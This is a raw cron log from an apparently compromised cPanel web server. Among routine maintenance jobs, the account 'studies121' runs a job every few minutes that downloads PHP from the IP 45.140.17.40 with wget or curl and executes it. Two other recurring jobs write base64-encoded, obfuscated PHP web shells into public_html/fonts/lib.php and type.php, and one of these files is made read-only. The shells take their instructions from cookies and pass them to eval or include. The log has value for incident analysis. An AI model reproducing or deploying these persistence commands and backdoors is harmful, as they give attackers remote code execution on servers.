Sep  7 19:44:01 ip-184-168-122-23 CROND[8390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:44:01 ip-184-168-122-23 CROND[8391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:45:01 ip-184-168-122-23 CROND[8495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:45:01 ip-184-168-122-23 CROND[8497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:45:01 ip-184-168-122-23 CROND[8498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:45:01 ip-184-168-122-23 CROND[8500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:45:01 ip-184-168-122-23 CROND[8501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:45:01 ip-184-168-122-23 CROND[8503]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:46:01 ip-184-168-122-23 CROND[8683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:46:01 ip-184-168-122-23 CROND[8685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:46:01 ip-184-168-122-23 CROND[8687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:46:01 ip-184-168-122-23 CROND[8686]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 19:46:01 ip-184-168-122-23 CROND[8689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:46:01 ip-184-168-122-23 CROND[8688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:46:01 ip-184-168-122-23 CROND[8690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:47:01 ip-184-168-122-23 CROND[8803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:47:01 ip-184-168-122-23 CROND[8805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:47:01 ip-184-168-122-23 CROND[8806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:47:01 ip-184-168-122-23 CROND[8807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:48:01 ip-184-168-122-23 CROND[8933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:48:02 ip-184-168-122-23 CROND[8935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:48:02 ip-184-168-122-23 CROND[8937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:48:02 ip-184-168-122-23 CROND[8934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:48:02 ip-184-168-122-23 CROND[8938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:49:01 ip-184-168-122-23 CROND[9067]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 19:49:01 ip-184-168-122-23 CROND[9068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:49:01 ip-184-168-122-23 CROND[9070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:49:01 ip-184-168-122-23 CROND[9069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:49:01 ip-184-168-122-23 CROND[9071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9196]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9194]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:50:01 ip-184-168-122-23 CROND[9202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:50:01 ip-184-168-122-23 CROND[9207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:51:01 ip-184-168-122-23 CROND[9407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:51:01 ip-184-168-122-23 CROND[9408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:51:01 ip-184-168-122-23 CROND[9409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:51:01 ip-184-168-122-23 CROND[9410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:52:01 ip-184-168-122-23 CROND[9516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:52:01 ip-184-168-122-23 CROND[9517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:52:01 ip-184-168-122-23 CROND[9518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:52:01 ip-184-168-122-23 CROND[9519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:52:01 ip-184-168-122-23 CROND[9520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:53:01 ip-184-168-122-23 CROND[9624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:53:01 ip-184-168-122-23 CROND[9628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:53:01 ip-184-168-122-23 CROND[9626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:53:01 ip-184-168-122-23 CROND[9629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:54:01 ip-184-168-122-23 CROND[9753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:54:01 ip-184-168-122-23 CROND[9756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:54:01 ip-184-168-122-23 CROND[9755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:54:01 ip-184-168-122-23 CROND[9757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:54:01 ip-184-168-122-23 CROND[9754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:55:01 ip-184-168-122-23 CROND[9908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:55:01 ip-184-168-122-23 CROND[9910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:55:01 ip-184-168-122-23 CROND[9912]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:55:01 ip-184-168-122-23 CROND[9916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:55:01 ip-184-168-122-23 CROND[9914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:55:01 ip-184-168-122-23 CROND[9915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:56:01 ip-184-168-122-23 CROND[10022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:56:01 ip-184-168-122-23 CROND[10026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:56:01 ip-184-168-122-23 CROND[10023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
